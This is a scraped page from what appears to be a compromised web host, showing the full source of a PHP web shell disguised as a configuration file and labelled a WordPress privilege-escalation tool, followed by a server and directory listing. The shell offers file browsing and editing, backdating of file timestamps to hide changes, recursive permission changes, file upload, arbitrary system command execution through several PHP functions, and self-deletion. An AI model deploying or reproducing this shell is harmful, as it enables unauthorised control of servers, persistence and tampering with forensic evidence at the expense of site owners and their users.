#acupoftea - verdozaglobal.com

File config_3afec70df95a91964ef77d92207f3e68.php

<?php
/**
 * wordpress提权
 * 功能：
 * 1.从wordpress目录获取所有文件列表
 *  1.1 每个文件都可以编辑内容、修改文件更新时间（修改时间默认修改成当前时间的前一年 ）、修改文件权限 、删除文件
 * 1.2 能上传文件到指定的路径，默认是当前路径
 * 1.3 能执行系统命令
 * 1.4 修改文件夹的权限 （默认是755）遍历修改子文件
 */

// 显示错误
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// HTML头部
function html_header($title = "WordPress提权工具") {
    echo '<!DOCTYPE html>';
    echo '<html>';
    echo '<head>';
    echo '<title>' . $title . '</title>';
    echo '<meta charset="UTF-8">';
    echo '<style>';
    echo 'body { font-family: Arial, sans-serif; margin: 20px; background-color: #f9f5ff; }';
    echo 'h1, h2 { color: #6a1b9a; }';
    echo '.container { max-width: 1200px; margin: 0 auto; background-color: white; padding: 20px; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }';
    echo '.menu { margin: 20px 0; }';
    echo '.menu a { display: inline-block; padding: 10px 20px; margin: 5px; background-color: #9c27b0; color: white; text-decoration: none; border-radius: 4px; }';
    echo '.menu a:hover { background-color: #7b1fa2; }';
    echo 'form { margin: 20px 0; }';
    echo 'input[type="text"], input[type="password"], input[type="file"], select, textarea { padding: 8px; margin: 5px 0; width: 100%; max-width: 500px; }';
    echo 'input[type="submit"] { padding: 10px 20px; background-color: #673ab7; color: white; border: none; border-radius: 4px; cursor: pointer; }';
    echo 'input[type="submit"]:hover { background-color: #5e35b1; }';
    echo '.file-list { background-color: #f9f5ff; padding: 15px; border-radius: 4px; max-height: 400px; overflow-y: auto; }';
    echo '.file-item { padding: 8px; border-bottom: 1px solid #ddd; }';
    echo '.file-item a { text-decoration: none; color: #7b1fa2; }';
    echo '.file-item a:hover { text-decoration: underline; }';
    echo '.result { margin: 20px 0; padding: 15px; background-color: #f3e5f5; border-left: 4px solid #9c27b0; }';
    echo '.error { background-color: #ffebee; border-left-color: #e91e63; }';
    echo 'pre { background-color: #f3e5f5; padding: 15px; border-radius: 4px; overflow-x: auto; }';
    echo '.command-output { background-color: #4a148c; color: #e1bee7; padding: 15px; border-radius: 4px; font-family: monospace; max-height: 400px; overflow-y: auto; }';
    echo '.icon { margin-right: 10px; font-size: 18px; }';
    echo '.icon-folder { color: #7b1fa2; }';
    echo '.icon-file { color: #9c27b0; }';
    echo '</style>';
    echo '</head>';
    echo '<body>';
    echo '<div class="container">';
    echo '<h1>' . $title . '</h1>';
}

// HTML尾部
function html_footer() {
    echo '</div>';
    echo '</body>';
    echo '</html>';
}

// 显示操作结果
function show_result($message, $is_error = false) {
    $class = $is_error ? 'result error' : 'result';
    echo '<div class="' . $class . '">';
    echo nl2br($message);
    echo '</div>';
}

// 检查是否是WordPress目录
function is_wordpress_directory($dir = '.') {
    return file_exists($dir . '/wp-config.php') && file_exists($dir . '/wp-blog-header.php');
}

// 获取目录中所有文件列表（递归）
function get_all_files($dir) {
    $files = [];
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        
        foreach ($iterator as $file) {
            $files[] = $file->getPathname();
        }
    } catch (Exception $e) {
        // 忽略遍历错误
    }
    return $files;
}

// 获取目录下的直接文件和文件夹（非递归）
function get_directory_items($dir) {
    $items = [];
    
    if (!is_dir($dir)) {
        return $items;
    }
    
    $handle = opendir($dir);
    if ($handle === false) {
        return $items;
    }
    
    while (($item = readdir($handle)) !== false) {
        if ($item != '.' && $item != '..') {
            $items[] = $item;
        }
    }
    
    closedir($handle);
    
    // 排序：目录在前，文件在后
    usort($items, function($a, $b) use ($dir) {
        $a_is_dir = is_dir($dir . '/' . $a);
        $b_is_dir = is_dir($dir . '/' . $b);
        
        if ($a_is_dir && !$b_is_dir) return -1;
        if (!$a_is_dir && $b_is_dir) return 1;
        return strcmp($a, $b);
    });
    
    return $items;
}

// 修改文件时间
function modify_file_time($file_path) {
    $now = time();
    $target_time = $now - (365 * 24 * 60 * 60) - (30 * 24 * 60 * 60);
    $target_time += rand(0, 23 * 60 * 60); // 随机小时
    $target_time += rand(0, 59 * 60); // 随机分钟
    $target_time += rand(0, 59); // 随机秒
    if (touch($file_path, $target_time, $target_time)) {
        return true;
    } else {
        return false;
    }
}

// 修改文件权限
function modify_file_permission($file_path, $permissions = 0755) {
    if (chmod($file_path, $permissions)) {
        return "成功修改文件权限为 " . decoct($permissions);
    } else {
        return "修改文件权限失败";
    }
}

// 编辑文件内容
function edit_file_content($file_path, $new_content) {
    if (file_put_contents($file_path, $new_content) !== false) {
        // 成功编辑文件内容后，修改文件时间
        if (modify_file_time($file_path)) {
            return "成功编辑文件内容并设置修改时间为前一年前一个月";
        } else {
            return "编辑文件内容成功，但修改文件时间失败";
        }
      } else {
        return "编辑文件内容失败";
    }
}

// 删除文件
function delete_file($file_path) {
    if (unlink($file_path)) {
        return "成功删除文件";
    } else {
        return "删除文件失败";
    }
}

// 递归修改文件夹权限
function recursive_chmod($dir, $permissions = 0755) {
    $result = [];
    
    // 修改当前目录权限
    if (chmod($dir, $permissions)) {
        $result[] = "成功修改目录权限: " . $dir . " 为 " . decoct($permissions);
    } else {
        $result[] = "修改目录权限失败: " . $dir;
    }
    
    // 修改所有子文件和子目录
    try {
        $iterator = new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
            RecursiveIteratorIterator::SELF_FIRST
        );
        
        foreach ($iterator as $item) {
            if (chmod($item->getPathname(), $permissions)) {
                $result[] = "成功修改: " . $item->getPathname() . " 为 " . decoct($permissions);
            } else {
                $result[] = "修改失败: " . $item->getPathname();
            }
        }
    } catch (Exception $e) {
        $result[] = "遍历目录时出错: " . $e->getMessage();
    }
    
    return implode("\n", $result);
}

// 执行系统命令
function execute_system_command($command) {
    // 设置文件描述符
    $descriptorspec = array(
        0 => array("pipe", "r"),  // 标准输入
        1 => array("pipe", "w"),  // 标准输出
        2 => array("pipe", "w")   // 标准错误
    );
    
    // 创建进程
    $process = proc_open($command, $descriptorspec, $pipes);
    
    $output = '';
    $error = '';
    $return_var = 0;
    
    if (is_resource($process)) {
        // 关闭标准输入
        fclose($pipes[0]);
        
        // 读取标准输出
        while (!feof($pipes[1])) {
            $output .= fread($pipes[1], 1024);
        }
        
        // 读取标准错误
        while (!feof($pipes[2])) {
            $error .= fread($pipes[2], 1024);
        }
        
        // 关闭管道
        fclose($pipes[1]);
        fclose($pipes[2]);
        
        // 获取返回值
        $return_var = proc_close($process);
        
        // 合并标准输出和错误输出
        if (!empty($error)) {
            $output .= "\n错误输出:\n" . $error;
        }
    }
    
    return [
        'output' => $output,
        'return_code' => $return_var
    ];
}

// 上传文件
function upload_file($target_path = '.') {
    if (!isset($_FILES['file'])) {
        return "没有文件上传";
    }
    
    if (!is_dir($target_path)) {
        return "目标路径不是有效的目录";
    }
    
    $file_name = basename($_FILES['file']['name']);
    $target_file = $target_path . '/' . $file_name;
    
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) {
        return "文件上传成功: " . $target_file;
    } else {
        return "文件上传失败: " . $_FILES['file']['error'];
    }
}

// 显示主菜单
function show_main_menu() {
    html_header();
    echo '<div class="menu">';
    echo '<a href="?action=files">文件管理</a>';
    echo '<a href="?action=upload">文件上传</a>';
    echo '<a href="?action=command">命令执行</a>';
    echo '<a href="?action=permission">修改文件夹权限</a>';
    echo '</div>';
    
    echo '<p>这是WordPress提权工具，提供以下功能：</p>';
    echo '<ul>';
    echo '<li>获取WordPress目录所有文件列表</li>';
    echo '<li>编辑文件内容</li>';
    echo '<li>修改文件更新时间（设置为一年前）</li>';
    echo '<li>修改文件权限</li>';
    echo '<li>删除文件</li>';
    echo '<li>上传文件到指定路径</li>';
    echo '<li>执行系统命令</li>';
    echo '<li>递归修改文件夹权限</li>';
    echo '</ul>';
    
    html_footer();
}

// 查找WordPress根目录（ABSPATH）
function find_wordpress_root() {
    // 尝试获取WordPress的ABSPATH常量
    if (isset($_SERVER['DOCUMENT_ROOT'])) {
       return  $_SERVER['DOCUMENT_ROOT'];
    }
    
    // 从当前目录开始向上查找
    $dir = getcwd();
    
    // 向上查找最多5层目录
    for ($i = 0; $i < 5; $i++) {
        if (is_wordpress_directory($dir)) {
            return $dir;
        }
        
        // 获取父目录
        $parent_dir = dirname($dir);
        if ($parent_dir === $dir) { // 到达文件系统根目录
            break;
        }
        $dir = $parent_dir;
    }
    
    // 如果找不到WordPress目录，返回当前目录
    return getcwd();
}

// 处理文件列表页面
function handle_file_list() {
    html_header("文件管理");
    echo '<div class="menu">';
    echo '<a href="?action=upload">文件上传</a>';
    echo '<a href="?action=command">命令执行</a>';
    echo '<a href="?action=permission">修改文件夹权限</a>';
    echo '<a href="?action=index">返回主菜单</a>';
    echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
    echo '</div>';
    
    // 查找WordPress根目录（ABSPATH）
    $wp_root = find_wordpress_root();
    
    // 设置默认目录为WordPress根目录
    $dir = isset($_GET['dir']) ? $_GET['dir'] : $wp_root;
    
    // 安全检查，防止目录遍历攻击
    $real_dir = realpath($dir);
    if ($real_dir === false) {
        show_result("无效的目录路径", true);
        echo '<a href="?action=files">返回文件管理</a>';
        html_footer();
        return;
    }
    
    echo '<h2>文件列表 - ' . htmlspecialchars($real_dir) . '</h2>';
    
    // 返回上级目录
    $parent_dir = dirname($real_dir);
    if ($parent_dir !== $real_dir) { // 如果不是根目录
        echo '<p><a href="?action=files&dir=' . urlencode($parent_dir) . '">.. 返回上级目录</a></p>';
    }
    
    // 处理权限修改POST请求
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['modify_perm'])) {
        $file_path = isset($_POST['file_path']) ? $_POST['file_path'] : '';
        $return_dir = isset($_POST['return_dir']) ? $_POST['return_dir'] : (isset($_GET['dir']) ? $_GET['dir'] : $wp_root);
        $perm = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
        
        // 安全检查
        $real_file_path = realpath($file_path);
        if ($real_file_path === false || !file_exists($real_file_path)) {
            $result_msg = '无效的文件路径';
            $error_flag = '&error=1';
        } else if (!preg_match('/^[0-7]{3}$/', $perm)) {
            // 验证权限值格式（三位数字）
            $result_msg = '无效的权限值，请输入三位八进制数字';
            $error_flag = '&error=1';
        } else {
            // 执行权限修改
            $permissions = octdec($perm);
            $result_msg = modify_file_permission($real_file_path, $permissions);
            $error_flag = strpos($result_msg, '失败') !== false ? '&error=1' : '';
        }
        
        // 确保返回目录是有效的绝对路径
        $return_real_dir = realpath($return_dir);
        if ($return_real_dir === false) {
            $return_real_dir = $wp_root;
        }
        
        // 重定向回文件列表页面，显示结果
        header('Location: ?action=files&dir=' . urlencode($return_real_dir) . '&result=' . urlencode($result_msg) . $error_flag);
        exit;
    }
    
    // 显示文件操作结果
    if (isset($_GET['result'])) {
        $is_error = isset($_GET['error']) && $_GET['error'] == 1;
        show_result(urldecode($_GET['result']), $is_error);
    }
    
    // 获取并显示当前目录下的直接文件和文件夹（非递归）
    $items = get_directory_items($real_dir);
    echo '<div class="file-list">';
    echo '<p>共找到 ' . count($items) . ' 个文件/目录</p>';
    
    foreach ($items as $item) {
        $item_path = $real_dir . '/' . $item;
        $is_dir = is_dir($item_path);
        $type = $is_dir ? '[目录]' : '[文件]';
        $size = $is_dir ? '' : ' (' . filesize($item_path) . ' bytes)';
        $mod_time = date('Y-m-d H:i:s', filemtime($item_path));
        $perms = decoct(fileperms($item_path) & 0777);
        
        echo '<div class="file-item">';
        if ($is_dir) {
            echo '<span class="icon icon-folder">📁</span>';
            echo '<a href="?action=files&dir=' . urlencode($item_path) . '">' . htmlspecialchars($item) . '</a>';
        } else {
            echo '<span class="icon icon-file">📄</span>';
            echo '<a href="?action=file_view&file=' . urlencode($item_path) . '">' . htmlspecialchars($item) . '</a>' . $size;
        }
        echo ' - 权限: ' . $perms . ' - 修改时间: ' . $mod_time;
        
        // 添加修改权限表单
        echo '<form method="post" style="display:inline-block; margin-left: 10px;">';
        echo '<input type="hidden" name="file_path" value="' . htmlspecialchars($item_path) . '">';
        echo '<input type="hidden" name="return_dir" value="' . urlencode($real_dir) . '">';
        echo '<div style="display: flex; align-items: center; gap: 5px;">';
        echo '<input type="text" name="permissions" value="' . $perms . '" size="3">';
        echo '<input type="submit" name="modify_perm" value="修改" style="padding: 2px 8px; font-size: 12px;">';
        echo '</div>';
        echo '</form>';
        
        echo '</div>';
    }
    echo '</div>';
    
    html_footer();
}

// 处理文件查看和操作
function handle_file_view() {
    $file = isset($_GET['file']) ? $_GET['file'] : '';
    $real_file = realpath($file);
    if (!isset($_GET['file'])) {
        header('Location: ?action=files');
        exit;
    }
    
    $file = $_GET['file'];
    // 安全检查
    $real_file = realpath($file);
    if ($real_file === false || !file_exists($real_file)) {
        html_header("文件操作");
        show_result("文件不存在", true);
        echo '<a href="?action=files">返回文件管理</a>';
        html_footer();
        return;
    }
    
    html_header("文件操作 - " . basename($real_file));
    
    echo '<div class="menu">';
    echo '<a href="?action=files">返回文件管理</a>';
    echo '<a href="?action=index">返回主菜单</a>';
    echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
    echo '</div>';
    
    // 处理表单提交
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $result = '';
        $is_error = false;
        
        if (isset($_POST['action'])) {
            switch ($_POST['action']) {
                case 'edit':
                    $new_content = $_POST['content'];
                    $result = edit_file_content($real_file, $new_content);
                    break;
                case 'modify_time':
                    $result = modify_file_time($real_file);
                    break;

case 'delete':
                    if (isset($_POST['confirm']) && $_POST['confirm'] == 'yes') {
                        $result = delete_file($real_file);
                        // 删除成功后返回文件列表
                        if (strpos($result, '成功') !== false) {
                            header('Location: ?action=files&result=' . urlencode($result));
                            exit;
                        }
                    } else {
                        $result = "请确认删除操作";
                        $is_error = true;
                    }
                    break;
            }
            
            if ($result) {
                show_result($result, strpos($result, '失败') !== false);
            }
        }
    }
    
    echo '<h2>文件: ' . htmlspecialchars($real_file) . '</h2>';
    // 已经在顶部菜单提供了导航链接，这里可以省略
    
    // 显示文件内容编辑表单
    if (is_file($real_file)) {
        echo '<h3>编辑文件内容</h3>';
        echo '<form method="post">';
        echo '<input type="hidden" name="action" value="edit">';
        echo '<textarea name="content" rows="20" cols="80">' . htmlspecialchars(file_get_contents($real_file)) . '</textarea><br>';
        echo '<input type="submit" value="保存文件">';
        echo '</form>';
    }
    
    // 修改文件时间
    echo '<h3>修改文件时间</h3>';
    echo '<form method="post">';
    echo '<input type="hidden" name="action" value="modify_time">';
    echo '<p>将文件时间修改为当前时间的前一年</p>';
    echo '<input type="submit" value="修改时间">';
    echo '</form>';

// 删除文件
    echo '<h3>删除文件</h3>';
    echo '<form method="post" onsubmit="return confirm(\'确定要删除此文件吗？此操作不可恢复！\')">';
    echo '<input type="hidden" name="action" value="delete">';
    echo '<input type="hidden" name="confirm" value="yes">';
    echo '<input type="submit" value="删除文件" style="background-color: #e91e63;">';
    echo '</form>';
    
    html_footer();
}

// 处理文件上传
function handle_upload() {
    html_header("文件上传");
    echo '<div class="menu">';
    echo '<a href="?action=files">文件管理</a>';
    echo '<a href="?action=command">命令执行</a>';
    echo '<a href="?action=permission">修改文件夹权限</a>';
    echo '<a href="?action=index">返回主菜单</a>';
    echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
    echo '</div>';
    
    // 处理上传请求
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $target_path = isset($_POST['target_path']) ? $_POST['target_path'] : '.';
        $result = upload_file($target_path);
        show_result($result, strpos($result, '失败') !== false);
    }
    
    echo '<h2>文件上传</h2>';
    echo '<form method="post" enctype="multipart/form-data">';
    echo '目标路径: <input type="text" name="target_path" value=".">（默认当前目录）<br>';
    echo '选择文件: <input type="file" name="file"><br><br>';
    echo '<input type="submit" value="上传">';
    echo '</form>';
    
    html_footer();
}

// 处理系统命令执行
function handle_command_execution() {
    html_header("命令执行");
    echo '<div class="menu">';
    echo '<a href="?action=files">文件管理</a>';
    echo '<a href="?action=upload">文件上传</a>';
    echo '<a href="?action=permission">修改文件夹权限</a>';
    echo '<a href="?action=index">返回主菜单</a>';
    echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
    echo '</div>';
    echo '<p style="color: red;">⚠️ 仅允许运维自身服务器使用，禁止未授权操作！</p><hr>';
    
    // 第一步：先检测所有可用的命令执行函数
    $all_cmd_functions = [
        'exec' => 'exec() - 获取完整输出及状态码',
        'shell_exec' => 'shell_exec() - 获取完整输出',
        'system' => 'system() - 获取完整输出及状态码',
        'passthru' => 'passthru() - 获取原始完整输出及状态码（适合二进制）',
        'proc_open' => 'proc_open() - 获取完整标准输出和错误输出（高级双向交互）',
        'popen' => 'popen() - 获取完整输出（单向管道连接）'
    ];
    $available_functions = [];
    $disable_list = explode(',', ini_get('disable_functions'));
    $disable_list = array_map('trim', $disable_list);

foreach ($all_cmd_functions as $func => $desc) {
        if (function_exists($func) && !in_array($func, $disable_list)) {
            $available_functions[$func] = $desc;
        }
    }

// 若无可⽤函数，直接提示
    if (empty($available_functions)) {
        show_result("❌ 无可用的命令执行函数（均已被禁用）", true);
        html_footer();
        return;
    }
    
    // 处理命令执行
    $output = '';
    $func_used = '';
    // $status = 0; // 初始化status变量
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['func']) && !empty($_POST['cmd'])) {
        $selected_func = trim($_POST['func']);
        $cmd = trim($_POST['cmd']);
        
        // 安全过滤：防止命令注入（关键！）
        $cmd = escapeshellcmd($cmd);
        $func_used = $all_cmd_functions[$selected_func] ?? $selected_func;
        
        // 显示命令执行提示
        show_result("正在执行命令: " . htmlspecialchars($cmd) . " (使用 $func_used)");
        
        // 按选中的函数执行命令
        switch ($selected_func) {
            case 'exec':
                exec($cmd, $exec_output, $status);
                $output = implode("\n", $exec_output) . "\n（返回状态码：$status)";
                break;
            case 'shell_exec':
                $output = shell_exec($cmd) ?: "命令执行无输出或失败";
                break;
            case 'system':
                ob_start();
                system($cmd, $status);
                $output = ob_get_clean() . "\n（返回状态码：$status)";
                break;
            case 'passthru':
                ob_start();
                passthru($cmd, $status);
                $output = ob_get_clean() . "\n（返回状态码：$status)";
                break;
            case 'proc_open':
                $descriptors = [
                    0 => ['pipe', 'r'], // 输入
                    1 => ['pipe', 'w'], // 输出
                    2 => ['pipe', 'w']  // 错误
                ];
                $process = proc_open($cmd, $descriptors, $pipes);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $stdout = stream_get_contents($pipes[1]);
                    $stderr = stream_get_contents($pipes[2]);
                    $output = $stdout;
                    // 只有当有错误信息时才添加错误信息标题
                    if (!empty(trim($stderr))) {
                        $output .= "\n错误信息：" . $stderr;
                    }
                    fclose($pipes[1]);
                    fclose($pipes[2]);
                    proc_close($process);
                }
                break;
            case 'popen':
                $handle = popen($cmd, 'r');
                if (is_resource($handle)) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                    $output = $output . "\n（popen执行完成）";
                }
                break;
        }
    }
    
    echo '<h2 style="margin-bottom: 20px; color: #333; border-bottom: 2px solid #4CAF50; padding-bottom: 5px;">系统命令执行</h2>';
    echo '<form method="post" style="background: #fff; padding: 20px; border-radius: 6px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">';
    echo '<div style="margin-bottom: 20px;">';
    echo '<p style="margin-bottom: 10px; font-weight: bold; color: #555;">📌 可选可用函数（勾选一个）：</p>';
    echo '<div style="background: #f9f9f9; padding: 15px; border-radius: 4px;">';
    foreach ($available_functions as $func => $desc) {
        echo '<label style="display: block; margin: 8px 0; padding: 8px; border-radius: 4px; transition: background-color 0.3s; cursor: pointer;">';
        echo '<input type="radio" name="func" value="' . $func . '" required style="margin-right: 10px;"> ' . $desc;
        echo '</label>';
    }
    echo '</div>';
    echo '</div>';
    
    echo '<div style="margin-bottom: 20px;">';
    echo '<p style="margin-bottom: 10px; font-weight: bold; color: #555;">🔧 输入要执行的命令（如 ls、dir、whoami）：</p>';
    echo '<input type="text" name="cmd" style="width: 100%; max-width: 600px; padding: 10px; border: 2px solid #ddd; border-radius: 4px; font-size: 14px; transition: border-color 0.3s;" value="' . (isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : '') . '" required>';
    echo '</div>';
    
    echo '<button type="submit" style="background: #4CAF50; color: white; border: none; padding: 10px 25px; border-radius: 4px; cursor: pointer; font-size: 16px; transition: background-color 0.3s; font-weight: bold;">执行命令</button>';
    echo '</form>';
    
    echo '<style>';
    echo 'label:hover { background-color: #e8f5e9; }';
    echo 'input[type="text"]:focus { outline: none; border-color: #4CAF50; }';
    echo 'button:hover { background-color: #45a049; }';
    echo '@media (max-width: 600px) {';
    echo '  input[type="text"] { width: 100%; }';
    echo '}';
    echo '</style>';
    
    if (!empty($output)) {
        echo '<hr>';
        echo '<div style="margin-bottom: 15px;">';
        echo '<p style="margin-bottom: 8px; font-weight: bold;">📋 执行结果（使用 ' . $func_used . '）：</p>';
        echo '<div style="position: relative;">';
        echo '<button onclick="copyOutput()" style="position: absolute; top: 8px; right: 8px; padding: 5px 10px; background: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 12px;">复制结果</button>';
        echo '<pre style="background: #2d2d2d; color: #f8f8f2; padding: 15px; border: 1px solid #444; border-radius: 6px; overflow-x: auto; max-height: 500px; font-family: monospace; font-size: 14px; line-height: 1.5;">' . htmlspecialchars($output) . '</pre>';
        echo '</div>';
        echo '</div>';
        echo '<script>function copyOutput() { const text = document.querySelector("pre").innerText; navigator.clipboard.writeText(text).then(() => alert("结果已复制到剪贴板！")); }</script>';
    }
    
    echo '<hr>';
    echo '<div style="background: #fff3cd; border: 1px solid #ffeaa7; color: #856404; padding: 15px; border-radius: 6px; margin-top: 20px;">';
    echo '<p style="margin: 0; font-weight: bold; display: flex; align-items: center;">';
    echo '<span style="margin-right: 10px; font-size: 18px;">⚠️</span>';
    echo '安全警告：执行完成后请立即删除本文件，避免安全风险！';
    echo '</p>';
    echo '</div>';
    
    html_footer();
}

// 处理文件夹权限修改
function handle_folder_permission() {
    html_header("修改权限");
    echo '<div class="menu">';
    echo '<a href="?action=files">文件管理</a>';
    echo '<a href="?action=upload">文件上传</a>';
    echo '<a href="?action=command">命令执行</a>';
    echo '<a href="?action=index">返回主菜单</a>';
    echo '<a href="?action=self_delete" style="background-color: #dc3545; color: white; float: right; margin-left: 20px;">删除本文件</a>';
    echo '</div>';
    
    // 处理权限修改请求
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $dir = isset($_POST['directory']) ? $_POST['directory'] : '.';
        $perm = isset($_POST['permissions']) ? $_POST['permissions'] : '755';
        $recursive = isset($_POST['recursive']) ? true : false;
        
        $permissions = octdec($perm);
        
        $result = $recursive ? recursive_chmod($dir, $permissions) : modify_file_permission($dir, $permissions);
        show_result($result, strpos($result, '失败') !== false);
    }
    echo '<h2>修改文件夹权限</h2>';
    echo '<form method="post">';
    echo '文件夹路径: <input type="text" name="directory" value=".">比如wp-conten目录：' . find_wordpress_root() . '/wp-content<br>';
    echo '权限值 (八进制，如755): <input type="text" name="permissions" value="755"><br>';
    echo '<label><input type="checkbox" name="recursive" checked> 递归修改所有子文件和子目录</label><br><br>';
    echo '<input type="submit" value="修改权限">';
    echo '</form>';
    
    html_footer();
}

// 处理文件自删除功能
function handle_self_delete() {
    html_header("删除本文件");
    
    // 获取当前文件路径
    $current_file = __FILE__;
    
    // 处理删除请求
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm']) && $_POST['confirm'] === 'yes') {
        // 先输出删除确认信息
        echo '<div style="background-color: #f8d7da; color: #721c24; padding: 20px; border-radius: 5px; margin: 20px 0;">';
        echo '<h3>⚠️ 文件删除确认</h3>';
        echo '<p>正在删除文件：' . htmlspecialchars($current_file) . '</p>';
        echo '</div>';
        
        // 尝试删除文件
        if (unlink($current_file)) {
            echo '<div style="background-color: #d4edda; color: #155724; padding: 20px; border-radius: 5px;">';
            echo '<h3>✅ 删除成功</h3>';
            echo '<p>文件已成功删除！系统将在3秒后刷新页面。</p>';
            echo '</div>';
            
            // 刷新页面以便用户看到404错误
            echo '<meta http-equiv="refresh" content="3;">';
        } else {
            echo '<div style="background-color: #f8d7da; color: #721c24; padding: 20px; border-radius: 5px;">';
            echo '<h3>❌ 删除失败</h3>';
            echo '<p>无法删除文件，请检查文件权限。</p>';
            echo '<p><a href="?action=index">返回主菜单</a></p>';
            echo '</div>';
        }
    } else {
        // 显示确认删除页面
        echo '<div style="background-color: #fff3cd; color: #856404; padding: 20px; border-radius: 5px; margin: 20px 0;">';
        echo '<h3>⚠️ 危险操作确认</h3>';
        echo '<p>您确定要删除当前文件吗？此操作无法撤销！</p>';
        echo '<p><strong>文件路径：</strong>' . htmlspecialchars($current_file) . '</p>';
        echo '</div>';
        
        echo '<form method="post" style="margin: 20px 0;">';
        echo '<div style="display: flex; gap: 15px;">';
        echo '<button type="submit" name="confirm" value="yes" style="background-color: #dc3545; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer;">确认删除</button>';
        echo '<button type="button" onclick="window.location.href=\'?action=index\'" style="background-color: #6c757d; color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer;">取消</button>';
        echo '</div>';
        echo '</form>';
    }
    
    html_footer();
}

// 主控制器
function main_controller() {
    $action = isset($_GET['action']) ? $_GET['action'] : 'index';
    
    switch ($action) {
        case 'index':
            show_main_menu();
            break;
        case 'files':
            handle_file_list();
            break;
        case 'file_view':
            handle_file_view();
            break;
        case 'upload':
            handle_upload();
            break;
        case 'command':
            handle_command_execution();
            break;
        case 'permission':
            handle_folder_permission();
            break;
        case 'self_delete':
            handle_self_delete();
            break;
        default:
            show_main_menu();
    }
}

// 运行主控制器
main_controller();

System	:	Linux premium225.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software	:	LiteSpeed
Server	:	66.29.146.24
Domains	:	Cant read /etc/named.conf
Permission	:	[ drwx------ ]
	:	/ tmp /

Name	Type	Size	Permission	Last Modified	Actions
.	DIR	-	drwx------	2026-06-09 11:15:21
..	DIR	-	drwxr-xr-x	2025-08-05 09:17:06
php_sessions	DIR	-	drwx------	2026-03-13 07:46:28
config_3afec70df95a91964ef77d92207f3e68.php	text/x-php	33.02 KB	-rw-r--r--	2026-05-30 07:13:08